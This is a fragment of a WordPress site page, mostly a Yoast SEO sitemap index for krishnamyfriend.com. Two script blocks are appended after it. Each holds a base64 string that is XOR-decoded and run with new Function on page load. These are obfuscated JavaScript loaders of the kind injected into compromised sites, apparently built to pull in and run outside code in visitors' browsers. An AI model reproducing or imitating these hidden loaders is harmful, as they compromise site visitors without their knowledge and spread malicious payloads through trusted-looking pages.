			<!-- wp:group {"style":{"spacing":{"blockGap":"var:preset|spacing|10"}},"layout":{"type":"flex","flexWrap":"nowrap","justifyContent":"right"}} -->
			<div class="wp-block-group">
				<!-- wp:navigation {"overlayBackgroundColor":"base","overlayTextColor":"contrast","layout":{"type":"flex","justifyContent":"right","flexWrap":"wrap"}} /-->
			</div>
			<!-- /wp:group -->
		</div>
		<!-- /wp:group -->
	</div>
	<!-- /wp:group -->
</div>
<!-- /wp:group -->
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//krishnamyfriend.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://krishnamyfriend.com/post-sitemap.xml</loc>
		<lastmod>2026-08-31T13:05:35+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://krishnamyfriend.com/page-sitemap.xml</loc>
		<lastmod>2026-08-24T16:14:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://krishnamyfriend.com/product-sitemap.xml</loc>
		<lastmod>2023-01-22T22:06:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://krishnamyfriend.com/category-sitemap.xml</loc>
		<lastmod>2026-08-31T13:05:35+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://krishnamyfriend.com/product_cat-sitemap.xml</loc>
		<lastmod>2023-01-22T22:06:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://krishnamyfriend.com/product_tag-sitemap.xml</loc>
		<lastmod>2023-01-22T22:06:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://krishnamyfriend.com/author-sitemap.xml</loc>
		<lastmod>2021-07-16T02:36:34+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO --><script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>